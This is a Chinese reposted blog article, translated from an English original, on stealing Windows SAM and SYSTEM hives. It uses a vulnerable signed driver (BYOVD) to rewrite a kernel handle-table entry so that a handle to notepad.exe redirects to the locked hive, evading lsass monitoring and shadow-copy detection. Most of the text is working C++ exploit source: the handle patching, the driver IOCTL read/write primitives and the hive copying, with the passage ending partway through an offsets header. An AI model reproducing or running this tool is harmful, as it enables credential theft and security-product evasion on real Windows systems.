文件句柄重定向:BYOVD改写内核句柄表,不碰lsass直接拷走SAM

admin 2026-09-12 04:40:48 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍一种通过文件句柄重定向技术窃取WindowsSAM凭据的方法,利用BYOVD驱动获得写原语,修改内核句柄表将普通文件句柄重定向至SAM的FILEOBJECT,从而绕过lsass访问和卷影副本等常规检测手段读取锁定的hive。文章详细描述了七步攻击方法论并附代码实现,属于高级红队攻击技术。 综合评分: 82 文章分类: 红队,渗透测试,恶意软件,漏洞分析


文件句柄重定向:BYOVD 改写内核句柄表,不碰 lsass 直接拷走 SAM

原创

S12 S12

赛博生存指南

2026年9月11日 22:05 浙江

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

原文:https://medium.com/@s12deff/credential-dumping-via-file-handle-redirection-b2fe15b61181 作者:S12 – 0x12Dark Development 发布时间:2026-09-08 翻译模型:GLM-5.3

编者按:这是 S12「Handle Redirect」系列的第二篇。第一篇把进程句柄重定向到 lsass,这一篇换成文件句柄——不动 lsass、不建卷影副本、不对 hive 调 CreateFile,直接在内核句柄表里把一个普通文件的句柄改成指向 SAM 的 _FILE_OBJECT,锁着的 hive 就这么被读走了。写原语靠 BYOVD。

引言

Windows 的 SAM(Security Account Manager)hive 以 NTLM 哈希形式存放本地用户凭据。它被内核锁定,由 lsass 独占持有——任何用 CreateFile 打开它的尝试都会以 ERROR_SHARING_VIOLATION 失败。传统的凭据转储工具要么直接读 lsass 内存(MiniDumpWriteDump、ReadProcessMemory),要么借助 Volume Shadow Copy 拿到 hive 的冷拷贝。这两条路都被盯得很紧。

这项技术走的是另一条路:不去打开 SAM、也不碰 lsass,而是滥用 Windows 内核句柄表,把一个已存在的 File 句柄重定向到 SAM 的 _FILE_OBJECT 上。

我们用的句柄,打开的是一个人人可读的普通文件(notepad.exe,换别的也行)。重定向完成后,内核把它当作「从来就是指向 SAM 的句柄」来处理,我们就能直接读出锁定的 hive——全程没有对 lsass 调 OpenProcess,没有 MiniDump,也没有对 hive 本身调 CreateFile。

打补丁所需的写原语通过 BYOVD(Bring Your Own Vulnerable Driver)获得:运行时加载一个带签名的漏洞驱动。

Windows 句柄表

这项技术基于作者早前的文章,本篇把对象从进程迁移到了文件:

前作:https://medium.com/@s12deff/handle-redirect-549902e6d868

每个进程都维护一张句柄表(_HANDLE_TABLE),经 EPROCESS.ObjectTable 访问。表中每个条目是一个 _HANDLE_TABLE_ENTRY,包含两个 QWORD:

_HANDLE_TABLE_ENTRY
+0x000 LowQword: encoded pointer to _OBJECT_HEADER
+0x008 HighQword: GrantedAccess, RefCnt, Attributes

LowQword 编码着句柄所指对象 _OBJECT_HEADER 的内核地址:

LowQword:
bits [0:3]: Lock/Tag bits          (preserve)
bits [4:63]: ObjectPointerBits     target of the redirect

Encoding:
  objectPointerBits = (_OBJECT_HEADER* >> 4) & 0xFFFFFFFFFFF
&nbsp; LowQword = (objectPointerBits <<&nbsp;20) | metadataBits

内核解析一个句柄时(对任何用到它的 syscall,比如 NtOpenFile),会读取这个 LowQword,解码出指针,解引用拿到内核对象,再校验对象类型是否与 syscall 期望的一致。类型和访问权限都匹配,操作就继续。

这意味着:只要把 ObjectPointerBits 字段覆写成指向 SAM 的 _FILE_OBJECT、同时保持类型(File)不变,后续所有在这个句柄上的 syscall 就都打到 SAM 上。

方法论

攻击分七步:

  1. 以 GENERIC_READ | FILE_FLAG_OVERLAPPED 打开一个受害 File 句柄(此处用 notepad.exe)
  2. 遍历自己的句柄表,找到该句柄对应的 _HANDLE_TABLE_ENTRY
  3. 经 NtQuerySystemInformation 枚举系统中所有 File 句柄
  4. 不打开 SAM,定位它的 _FILE_OBJECT*
  5. 编码新的 LowQword
  6. 用 WritePrimitive 打补丁:句柄现在指向 SAM 的 _FILE_OBJECT
  7. ReadFile(OVERLAPPED):把 SAM 和 SYSTEM 两个 hive 拷到磁盘

之后用 mimikatz 离线 Dump 哈希即可。

代码

main.cpp

#include<iostream>
#include<Windows.h>
#include<winternl.h>
#include<TlHelp32.h>
#include<algorithm>
#include<vector>
#include"DrvOps.h"
#include"GetOffsets.h"
#include"GetFileObjects.h"

typedefstruct_SYSTEM_HANDLE_TABLE_ENTRY_INFO&nbsp;{
&nbsp; &nbsp; USHORT UniqueProcessId;
&nbsp; &nbsp; USHORT CreatorBackTraceIndex;
&nbsp; &nbsp; UCHAR &nbsp;ObjectTypeIndex;
&nbsp; &nbsp; UCHAR &nbsp;HandleAttributes;
&nbsp; &nbsp; USHORT HandleValue;
&nbsp; &nbsp; PVOID &nbsp;Object;
&nbsp; &nbsp; ULONG &nbsp;GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedefstruct_SYSTEM_HANDLE_INFORMATION&nbsp;{
&nbsp; &nbsp; ULONG HandleCount;
&nbsp; &nbsp; SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

usingnamespace&nbsp;std;

structoffsets&nbsp;{
&nbsp; &nbsp; ULONG64 ActiveProcessLinks;
&nbsp; &nbsp; ULONG64 UniqueProcessId;
&nbsp; &nbsp; ULONG64 ObjectTable;
&nbsp; &nbsp; ULONG64 PsInitialSystemProcess;
&nbsp; &nbsp; DWORD64 ObHeaderCookie;
} g_offsets = {};

typedefstruct_SYSTEM_MODULE_ENTRY&nbsp;{
&nbsp; &nbsp; HANDLE Section;
&nbsp; &nbsp; PVOID MappedBase;
&nbsp; &nbsp; PVOID ImageBase;
&nbsp; &nbsp; ULONG ImageSize;
&nbsp; &nbsp; ULONG Flags;
&nbsp; &nbsp; USHORT LoadOrderIndex;
&nbsp; &nbsp; USHORT InitOrderIndex;
&nbsp; &nbsp; USHORT LoadCount;
&nbsp; &nbsp; USHORT OffsetToFileName;
&nbsp; &nbsp; UCHAR FullPathName[256];
} SYSTEM_MODULE_ENTRY, * PSYSTEM_MODULE_ENTRY;

typedefstruct_SYSTEM_MODULE_INFORMATION&nbsp;{
&nbsp; &nbsp; ULONG Count;
&nbsp; &nbsp; SYSTEM_MODULE_ENTRY Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

structKernelDriver&nbsp;{
&nbsp; &nbsp; std::string Name;
uintptr_t&nbsp;BaseAddress;
uint32_t&nbsp;Size;
};

typedefNTSTATUS(NTAPI* pNtQuerySystemInformation)(
&nbsp; &nbsp; SYSTEM_INFORMATION_CLASS SystemInformationClass,
&nbsp; &nbsp; PVOID SystemInformation,
&nbsp; &nbsp; ULONG SystemInformationLength,
&nbsp; &nbsp; PULONG ReturnLength
&nbsp; &nbsp; );

DWORD64&nbsp;GetNtoskrnlBase(const&nbsp;std::vector<KernelDriver>& drivers){
for&nbsp;(constauto& drv : drivers) {
&nbsp; &nbsp; &nbsp; &nbsp; std::string nameLower = drv.Name;
&nbsp; &nbsp; &nbsp; &nbsp; std::transform(nameLower.begin(), nameLower.end(), nameLower.begin(), ::tolower);
if&nbsp;(nameLower.find("ntoskrnl.exe") != std::string::npos ||
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; nameLower.find("ntkrnl") != std::string::npos)
return&nbsp;(DWORD64)drv.BaseAddress;
&nbsp; &nbsp; }
return0;
}

std::vector<KernelDriver>&nbsp;GetSortedKernelDrivers(){
&nbsp; &nbsp; std::vector<KernelDriver> driverList;
auto&nbsp;NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(
GetModuleHandleA("ntdll.dll"),&nbsp;"NtQuerySystemInformation");
if&nbsp;(!NtQuerySystemInformation)&nbsp;return&nbsp;driverList;

&nbsp; &nbsp; ULONG len =&nbsp;0;
constint&nbsp;SystemModuleInformation =&nbsp;11;
NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation,&nbsp;NULL,&nbsp;0, &len);

std::vector<BYTE>&nbsp;buffer(len);
&nbsp; &nbsp; NTSTATUS status =&nbsp;NtQuerySystemInformation(
&nbsp; &nbsp; &nbsp; &nbsp; (SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer.data(), len, &len);
if&nbsp;(status !=&nbsp;0)&nbsp;return&nbsp;driverList;

auto&nbsp;mods =&nbsp;reinterpret_cast<PSYSTEM_MODULE_INFORMATION>(buffer.data());
for&nbsp;(ULONG i =&nbsp;0; i < mods->Count; i++) {
&nbsp; &nbsp; &nbsp; &nbsp; SYSTEM_MODULE_ENTRY& entry = mods->Modules[i];
&nbsp; &nbsp; &nbsp; &nbsp; KernelDriver drv;
&nbsp; &nbsp; &nbsp; &nbsp; drv.BaseAddress =&nbsp;reinterpret_cast<uintptr_t>(entry.ImageBase);
&nbsp; &nbsp; &nbsp; &nbsp; drv.Size = entry.ImageSize;
constchar* nameStart =&nbsp;reinterpret_cast<constchar*>(entry.FullPathName) + entry.OffsetToFileName;
&nbsp; &nbsp; &nbsp; &nbsp; drv.Name = std::string(nameStart);
&nbsp; &nbsp; &nbsp; &nbsp; driverList.push_back(drv);
&nbsp; &nbsp; }

&nbsp; &nbsp; std::sort(driverList.begin(), driverList.end(), [](const&nbsp;KernelDriver& a,&nbsp;const&nbsp;KernelDriver& b) {
return&nbsp;a.BaseAddress < b.BaseAddress;
&nbsp; &nbsp; &nbsp; &nbsp; });
return&nbsp;driverList;
}

DWORD64&nbsp;getEPROCESS(HANDLE drv, DWORD64 ntoskrnlBase, DWORD pid){
if&nbsp;(ntoskrnlBase ==&nbsp;0) { std::cerr <<&nbsp;"Failed ntoskrnl base"&nbsp;<< endl;&nbsp;return0; }

&nbsp; &nbsp; DWORD64 initialSystemProcess = ntoskrnlBase + g_offsets.PsInitialSystemProcess;
&nbsp; &nbsp; cout <<&nbsp;"PsInitialSystemProcess address "&nbsp;<< hex << initialSystemProcess << endl;
getchar();&nbsp;getchar();

&nbsp; &nbsp; DWORD64 systemEPROCESS =&nbsp;0;
ReadPrimitive(drv, &systemEPROCESS, (LPVOID)(uintptr_t)initialSystemProcess,&nbsp;sizeof(DWORD64));
&nbsp; &nbsp; cout <<&nbsp;"System EPROCESS: "&nbsp;<< hex << systemEPROCESS << endl;

&nbsp; &nbsp; DWORD systemPid =&nbsp;0;
ReadPrimitive(drv, &systemPid, (LPVOID)(uintptr_t)(systemEPROCESS + g_offsets.UniqueProcessId),&nbsp;sizeof(DWORD));
&nbsp; &nbsp; cout <<&nbsp;"System PID: "&nbsp;<< systemPid << endl;
if&nbsp;(systemPid == pid)&nbsp;return&nbsp;systemEPROCESS;

&nbsp; &nbsp; DWORD64 headList = systemEPROCESS + g_offsets.ActiveProcessLinks;
&nbsp; &nbsp; DWORD64 firstProcess =&nbsp;0;
ReadPrimitive(drv, &firstProcess, (LPVOID)(uintptr_t)headList,&nbsp;sizeof(DWORD64));

&nbsp; &nbsp; DWORD64 currentProcess = firstProcess;
int&nbsp;counter =&nbsp;0;
getchar();
while&nbsp;(currentProcess != headList && counter <&nbsp;5000) {
&nbsp; &nbsp; &nbsp; &nbsp; counter++;
&nbsp; &nbsp; &nbsp; &nbsp; DWORD64 eprocess = currentProcess - g_offsets.ActiveProcessLinks;
&nbsp; &nbsp; &nbsp; &nbsp; DWORD currentPid =&nbsp;0;
ReadPrimitive(drv, &currentPid, (LPVOID)(uintptr_t)(eprocess + g_offsets.UniqueProcessId),&nbsp;sizeof(DWORD));
if&nbsp;(currentPid == pid) { cout <<&nbsp;"EPROCESS found: "&nbsp;<< hex << eprocess << endl;&nbsp;return&nbsp;eprocess; }
&nbsp; &nbsp; &nbsp; &nbsp; DWORD64 nextProcess =&nbsp;0;
ReadPrimitive(drv, &nextProcess, (LPVOID)(uintptr_t)currentProcess,&nbsp;sizeof(DWORD64));
&nbsp; &nbsp; &nbsp; &nbsp; currentProcess = nextProcess;
&nbsp; &nbsp; }
return0;
}

BOOL&nbsp;EnableSeDebugPrivilege(){
&nbsp; &nbsp; HANDLE hToken;
&nbsp; &nbsp; TOKEN_PRIVILEGES tp;
&nbsp; &nbsp; LUID luid;
if&nbsp;(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))&nbsp;return&nbsp;FALSE;
if&nbsp;(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {&nbsp;CloseHandle(hToken);&nbsp;return&nbsp;FALSE; }
&nbsp; &nbsp; tp.PrivilegeCount =&nbsp;1;
&nbsp; &nbsp; tp.Privileges[0].Luid = luid;
&nbsp; &nbsp; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp,&nbsp;sizeof(TOKEN_PRIVILEGES),&nbsp;NULL,&nbsp;NULL);
CloseHandle(hToken);
return&nbsp;TRUE;
}

BOOL&nbsp;redirectAndCopy(HANDLE drv, HANDLE hVictim, DWORD64 entryAddress, DWORD64 lowQword,&nbsp;constwchar_t* targetPath,&nbsp;constwchar_t* destPath){
// 1. Get _FILE_OBJECT* of target
&nbsp; &nbsp; DWORD64 fileObj =&nbsp;getFileObjectByName(drv, targetPath);
if&nbsp;(fileObj ==&nbsp;0) {&nbsp;printf("[-] getFileObjectByName failed for %ws\n", targetPath);&nbsp;return&nbsp;FALSE; }
printf("[+] FILE_OBJECT: %llX\n", fileObj);

// 2. Encode new LowQword
&nbsp; &nbsp; DWORD64 fileObjectHeader = fileObj -&nbsp;0x30;
&nbsp; &nbsp; DWORD64 metadataBits = lowQword &&nbsp;0xFFFFFULL;
&nbsp; &nbsp; DWORD64 objectPointerBits = (fileObjectHeader >>&nbsp;4) &&nbsp;0xFFFFFFFFFFFULL;
&nbsp; &nbsp; DWORD64 newLowQword = (objectPointerBits <<&nbsp;20) | metadataBits;
printf("[+] Original lowQword: %llX\n", lowQword);
printf("[+] New &nbsp; &nbsp; &nbsp;lowQword: %llX\n", newLowQword);

// 3. Patch, LowQword only, no HighQword touch
WritePrimitive(drv, (LPVOID)(uintptr_t)entryAddress, &newLowQword,&nbsp;sizeof(DWORD64));
printf("[+] LowQword patched\n");

// 4. Verify
wchar_t&nbsp;resolvedPath[MAX_PATH] = {};
&nbsp; &nbsp; DWORD len =&nbsp;GetFinalPathNameByHandleW(hVictim, resolvedPath, MAX_PATH, VOLUME_NAME_DOS);
if&nbsp;(len >&nbsp;0)&nbsp;wprintf(L"[+] Handle resolves to: %s\n", resolvedPath);
elseprintf("[-] GetFinalPathNameByHandleW failed: %d\n",&nbsp;GetLastError());

// 5. Copy via OVERLAPPED reads (aligned buffer for Direct I/O)
&nbsp; &nbsp; HANDLE hDest =&nbsp;CreateFileW(destPath, GENERIC_WRITE,&nbsp;0,&nbsp;NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,&nbsp;NULL);
if&nbsp;(hDest == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create dest: %d\n",&nbsp;GetLastError());
// Restore before returning
WritePrimitive(drv, (LPVOID)(uintptr_t)entryAddress, &lowQword,&nbsp;sizeof(DWORD64));
return&nbsp;FALSE;
&nbsp; &nbsp; }

const&nbsp;DWORD SECTOR =&nbsp;4096;
const&nbsp;DWORD CHUNK = SECTOR *&nbsp;16;
&nbsp; &nbsp; BYTE* chunk = (BYTE*)VirtualAlloc(NULL, CHUNK, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if&nbsp;(!chunk) {&nbsp;CloseHandle(hDest);&nbsp;return&nbsp;FALSE; }

&nbsp; &nbsp; DWORD64 offset =&nbsp;0;
&nbsp; &nbsp; DWORD &nbsp; totalWritten =&nbsp;0;

while&nbsp;(TRUE) {
&nbsp; &nbsp; &nbsp; &nbsp; OVERLAPPED ov = {};
&nbsp; &nbsp; &nbsp; &nbsp; ov.Offset = (DWORD)(offset &&nbsp;0xFFFFFFFF);
&nbsp; &nbsp; &nbsp; &nbsp; ov.OffsetHigh = (DWORD)(offset >>&nbsp;32);
&nbsp; &nbsp; &nbsp; &nbsp; ov.hEvent =&nbsp;CreateEvent(NULL, TRUE, FALSE,&nbsp;NULL);

&nbsp; &nbsp; &nbsp; &nbsp; DWORD bytesRead =&nbsp;0;
&nbsp; &nbsp; &nbsp; &nbsp; BOOL &nbsp;readOk =&nbsp;ReadFile(hVictim, chunk, CHUNK,&nbsp;NULL, &ov);
&nbsp; &nbsp; &nbsp; &nbsp; DWORD err =&nbsp;GetLastError();

if&nbsp;(!readOk && err == ERROR_IO_PENDING) {
if&nbsp;(WaitForSingleObject(ov.hEvent,&nbsp;10000) == WAIT_TIMEOUT) {
printf("[-] Timeout at offset 0x%llX\n", offset);
CloseHandle(ov.hEvent);
break;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; readOk =&nbsp;GetOverlappedResult(hVictim, &ov, &bytesRead, FALSE);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; err =&nbsp;GetLastError();
&nbsp; &nbsp; &nbsp; &nbsp; }
elseif&nbsp;(readOk) {
GetOverlappedResult(hVictim, &ov, &bytesRead, FALSE);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; err =&nbsp;GetLastError();
&nbsp; &nbsp; &nbsp; &nbsp; }

CloseHandle(ov.hEvent);

if&nbsp;(!readOk || bytesRead ==&nbsp;0) {
printf("[*] EOF at offset 0x%llX | err: %d\n", offset, err);
break;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; DWORD written =&nbsp;0;
WriteFile(hDest, chunk, bytesRead, &written,&nbsp;NULL);
&nbsp; &nbsp; &nbsp; &nbsp; totalWritten += written;
&nbsp; &nbsp; &nbsp; &nbsp; offset += bytesRead;
printf("[+] %ws: offset 0x%llX | chunk %d | total %d\r", destPath, offset, bytesRead, totalWritten);

if&nbsp;(bytesRead < CHUNK)&nbsp;break;
&nbsp; &nbsp; }

VirtualFree(chunk,&nbsp;0, MEM_RELEASE);
CloseHandle(hDest);
printf("\n[+] Done: %ws = %d bytes\n", destPath, totalWritten);

// 6. Restore original LowQword
WritePrimitive(drv, (LPVOID)(uintptr_t)entryAddress, &lowQword,&nbsp;sizeof(DWORD64));
printf("[+] LowQword restored\n");

return&nbsp;totalWritten >&nbsp;0;
}

intmain(){
EnableSeDebugPrivilege();

// Offsets
&nbsp; &nbsp; KernelOffsets off{};
if&nbsp;(!ResolveKernelOffsets(off)) {&nbsp;printf("[-] Offsets failed\n");&nbsp;return1; }
&nbsp; &nbsp; g_offsets.ObjectTable = off.ObjectTable;
&nbsp; &nbsp; g_offsets.ActiveProcessLinks = off.ActiveProcessLinks;
&nbsp; &nbsp; g_offsets.UniqueProcessId = off.UniqueProcessId;
&nbsp; &nbsp; g_offsets.PsInitialSystemProcess = off.PsInitialSystemProcess;
&nbsp; &nbsp; g_offsets.ObHeaderCookie = off.ObHeaderCookie;
printf("[+] Offsets OK | ObjectTable: 0x%llX\n", g_offsets.ObjectTable);

// ntoskrnl base
&nbsp; &nbsp; vector<KernelDriver> drivers =&nbsp;GetSortedKernelDrivers();
&nbsp; &nbsp; DWORD64 ntoskrnlBase =&nbsp;GetNtoskrnlBase(drivers);
printf("[+] ntoskrnl: 0x%llX\n", ntoskrnlBase);
getchar();

&nbsp; &nbsp; HANDLE drv =&nbsp;openVulnDriver();
&nbsp; &nbsp; DWORD &nbsp;pid =&nbsp;GetCurrentProcessId();

// EPROCESS of current process (to find our handle table)
&nbsp; &nbsp; DWORD64 eprocess =&nbsp;getEPROCESS(drv, ntoskrnlBase, pid);
if&nbsp;(!eprocess) {&nbsp;printf("[-] EPROCESS failed\n");&nbsp;return1; }

// Victim handle: File type, GENERIC_READ, OVERLAPPED
&nbsp; &nbsp; HANDLE hVictim =&nbsp;CreateFileW(L"C:\\Windows\\System32\\notepad.exe", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,&nbsp;NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED,&nbsp;NULL);
if&nbsp;(hVictim == INVALID_HANDLE_VALUE) {&nbsp;printf("[-] hVictim failed\n");&nbsp;return1; }
printf("[+] hVictim: 0x%p\n", hVictim);

// Locate handle table
&nbsp; &nbsp; DWORD64 objectTableAddr = eprocess + g_offsets.ObjectTable;
&nbsp; &nbsp; DWORD64 handleTablePtr =&nbsp;0;
ReadPrimitive(drv, &handleTablePtr, (LPVOID)(uintptr_t)objectTableAddr,&nbsp;sizeof(DWORD64));

&nbsp; &nbsp; DWORD64 tableCode =&nbsp;0;
ReadPrimitive(drv, &tableCode, (LPVOID)(uintptr_t)(handleTablePtr +&nbsp;0x8),&nbsp;sizeof(DWORD64));
&nbsp; &nbsp; DWORD64 tableBase = tableCode & ~0x3ULL;
printf("[+] TableBase: 0x%llX\n", tableBase);
getchar();

// Entry address for hVictim
&nbsp; &nbsp; DWORD64 handleValue = (DWORD64)hVictim;
&nbsp; &nbsp; DWORD64 entryAddress = tableBase + (handleValue /&nbsp;4) *&nbsp;16;
printf("[+] Entry: 0x%llX\n", entryAddress);

// Read original LowQword (needed for restore and metadata bits)
&nbsp; &nbsp; DWORD64 lowQword =&nbsp;0;
ReadPrimitive(drv, &lowQword, (LPVOID)(uintptr_t)entryAddress,&nbsp;sizeof(DWORD64));
printf("[+] Original LowQword: 0x%llX\n", lowQword);
getchar();

// Copy SAM
printf("\nCopying SAM\n");
redirectAndCopy(drv, hVictim, entryAddress, lowQword,&nbsp;L"C:\\Windows\\System32\\config\\SAM",&nbsp;L"C:\\Users\\Public\\SAM.bak");

// Re-read lowQword after restore (should be original again)
ReadPrimitive(drv, &lowQword, (LPVOID)(uintptr_t)entryAddress,&nbsp;sizeof(DWORD64));

// Copy SYSTEM
printf("\nCopying SYSTEM\n");
redirectAndCopy(drv, hVictim, entryAddress, lowQword,&nbsp;L"C:\\Windows\\System32\\config\\SYSTEM",&nbsp;L"C:\\Users\\Public\\SYSTEM.bak");

CloseHandle(hVictim);
CloseHandle(drv);

printf("\n[+] All done. Files at C:\\Users\\Public\\\n");
getchar();
return0;
}

DrvOps.h

#pragma&nbsp;once
#include<iostream>
#include<Windows.h>

// https://www.loldrivers.io/drivers/2bea1bca-753c-4f09-bc9f-566ab0193f4a/

#define&nbsp;IOCTL_READWRITE_PRIMITIVE 0xC3502808

usingnamespace&nbsp;std;

typedefstructKernelWritePrimitive&nbsp;{
&nbsp;LPVOID dst;
&nbsp;LPVOID src;
&nbsp;DWORD size;
} KernelWritePrimitive;

typedefstructKernelReadPrimitive&nbsp;{
&nbsp;LPVOID dst;
&nbsp;LPVOID src;
&nbsp;DWORD size;
} KernelReadPrimitive;

BOOL&nbsp;WritePrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size){
&nbsp;KernelWritePrimitive kwp;
&nbsp;kwp.dst = dst;
&nbsp;kwp.src = src;
&nbsp;kwp.size = size;

&nbsp;BYTE bufferReturned[48] = {&nbsp;0&nbsp;};
&nbsp;DWORD returned =&nbsp;0;
&nbsp;BOOL result =&nbsp;DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&kwp,&nbsp;sizeof(kwp), (LPVOID)bufferReturned,&nbsp;sizeof(bufferReturned), &returned,&nbsp;nullptr);
if&nbsp;(!result) {
&nbsp; cout <<&nbsp;"Failed to send write primitive. Error code: "&nbsp;<<&nbsp;GetLastError() << endl;
return&nbsp;FALSE;
&nbsp;}
&nbsp;cout <<&nbsp;"Write primitive sent successfully. Bytes returned: "&nbsp;<< returned << endl;
return&nbsp;TRUE;
}

BOOL&nbsp;ReadPrimitive(HANDLE driver, LPVOID dst, LPVOID src, DWORD size){
&nbsp;KernelReadPrimitive krp;
&nbsp;krp.dst = dst;
&nbsp;krp.src = src;
&nbsp;krp.size = size;

&nbsp;DWORD returned =&nbsp;0;

&nbsp;BOOL result =&nbsp;DeviceIoControl(driver, IOCTL_READWRITE_PRIMITIVE, (LPVOID)&krp,&nbsp;sizeof(krp), (LPVOID)dst, size, &returned,&nbsp;nullptr);
if&nbsp;(!result) {
&nbsp; cout <<&nbsp;"Failed to send read primitive. Error code: "&nbsp;<<&nbsp;GetLastError() << endl;
return&nbsp;FALSE;
&nbsp;}
return&nbsp;TRUE;
}

HANDLE&nbsp;openVulnDriver(){
&nbsp;HANDLE driver =&nbsp;CreateFileA("\\\\.\\GIO", GENERIC_READ | GENERIC_WRITE,&nbsp;0,&nbsp;nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,&nbsp;nullptr);
if&nbsp;(!driver || driver == INVALID_HANDLE_VALUE)
&nbsp;{
&nbsp; cout <<&nbsp;"Failed to open handle to driver. Error code: "&nbsp;<<&nbsp;GetLastError() << endl;
returnNULL;
&nbsp;}
return&nbsp;driver;
}

GetOffsets.h

#pragma&nbsp;once
#define&nbsp;WIN32_LEAN_AND_MEAN
#define&nbsp;NOMINMAX
#include<Windows.h>
#include<winhttp.h>
#include<dbghelp.h>
#include<stdio.h>
#include<string>
#include<vector>
//#include&nbsp;<algorithm>

#pragma&nbsp;comment(lib,&nbsp;"winhttp.lib")
#pragma&nbsp;comment(lib,&nbsp;"dbghelp.lib")

// Data Structures
structPdbCodeViewInfo&nbsp;{
&nbsp; &nbsp; GUID &nbsp;Guid;
&nbsp; &nbsp; DWORD Age;
char&nbsp; PdbFileName[MAX_PATH];
};

structKernelOffsets&nbsp;{
// EPROCESS struct field offsets (bytes from struct base)
&nbsp; &nbsp; DWORD ObjectTable;
&nbsp; &nbsp; DWORD64 ObHeaderCookie;
&nbsp; &nbsp; DWORD UniqueProcessId;
&nbsp; &nbsp; DWORD ActiveProcessLinks;
&nbsp; &nbsp; DWORD64 PsInitialSystemProcess;
};

// PE Parsing

#pragma&nbsp;pack(push, 1)
structCV_INFO_PDB70&nbsp;{
&nbsp; &nbsp; DWORD CvSignature; &nbsp;&nbsp;// 0x53445352 = 'RSDS'
&nbsp; &nbsp; GUID &nbsp;Signature;
&nbsp; &nbsp; DWORD Age;
char&nbsp; PdbFileName[1];
};
#pragma&nbsp;pack(pop)

static&nbsp;DWORD&nbsp;RvaToFileOffset(PIMAGE_NT_HEADERS nt, DWORD rva){
&nbsp; &nbsp; PIMAGE_SECTION_HEADER sec =&nbsp;IMAGE_FIRST_SECTION(nt);
for&nbsp;(WORD i =&nbsp;0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
if&nbsp;(rva >= sec->VirtualAddress &&
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rva < sec->VirtualAddress + sec->Misc.VirtualSize)
return&nbsp;rva - sec->VirtualAddress + sec->PointerToRawData;
&nbsp; &nbsp; }
return0;
}

staticboolGetPdbInfoFromPE(constchar* exePath, PdbCodeViewInfo& out){
&nbsp; &nbsp; HANDLE hFile =&nbsp;CreateFileA(exePath, GENERIC_READ, FILE_SHARE_READ,
nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,&nbsp;nullptr);
if&nbsp;(hFile == INVALID_HANDLE_VALUE) {
printf("[-] Cannot open '%s' (err %lu)\n", exePath,&nbsp;GetLastError());
returnfalse;
&nbsp; &nbsp; }

&nbsp; &nbsp; LARGE_INTEGER sz{};
GetFileSizeEx(hFile, &sz);
std::vector<BYTE>&nbsp;buf(static_cast<size_t>(sz.QuadPart));
&nbsp; &nbsp; DWORD rd =&nbsp;0;
bool&nbsp;ok =&nbsp;ReadFile(hFile, buf.data(),&nbsp;static_cast<DWORD>(buf.size()), &rd,&nbsp;nullptr)
&nbsp; &nbsp; &nbsp; &nbsp; && rd == buf.size();
CloseHandle(hFile);
if&nbsp;(!ok)&nbsp;returnfalse;

auto* dos =&nbsp;reinterpret_cast<PIMAGE_DOS_HEADER>(buf.data());
if&nbsp;(dos->e_magic != IMAGE_DOS_SIGNATURE)&nbsp;returnfalse;
auto* nt =&nbsp;reinterpret_cast<PIMAGE_NT_HEADERS>(buf.data() + dos->e_lfanew);
if&nbsp;(nt->Signature != IMAGE_NT_SIGNATURE)&nbsp;returnfalse;

auto& dd = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG];
if&nbsp;(!dd.VirtualAddress || !dd.Size)&nbsp;returnfalse;

&nbsp; &nbsp; DWORD ddOff =&nbsp;RvaToFileOffset(nt, dd.VirtualAddress);
if&nbsp;(!ddOff || ddOff + dd.Size > buf.size())&nbsp;returnfalse;

int&nbsp;entryCount = dd.Size /&nbsp;sizeof(IMAGE_DEBUG_DIRECTORY);
auto* entries =&nbsp;reinterpret_cast<IMAGE_DEBUG_DIRECTORY*>(buf.data() + ddOff);

for&nbsp;(int&nbsp;i =&nbsp;0; i < entryCount; i++) {
if&nbsp;(entries[i].Type != IMAGE_DEBUG_TYPE_CODEVIEW)&nbsp;continue;

&nbsp; &nbsp; &nbsp; &nbsp; DWORD raw = entries[i].PointerToRawData;
if&nbsp;(!raw) raw =&nbsp;RvaToFileOffset(nt, entries[i].AddressOfRawData);
if&nbsp;(!raw || raw >= buf.size())&nbsp;continue;

auto* cv =&nbsp;reinterpret_cast<CV_INFO_PDB70*>(buf.data() + raw);
if&nbsp;(cv->CvSignature !=&nbsp;0x53445352)&nbsp;continue; &nbsp;// 'RSDS'

&nbsp; &nbsp; &nbsp; &nbsp; out.Guid = cv->Signature;
&nbsp; &nbsp; &nbsp; &nbsp; out.Age = cv->Age;
strncpy_s(out.PdbFileName, cv->PdbFileName, _TRUNCATE);
returntrue;
&nbsp; &nbsp; }

printf("[-] No CodeView RSDS entry found in PE\n");
returnfalse;
}

// PDB Cache Validation

#pragma&nbsp;pack(push, 1)
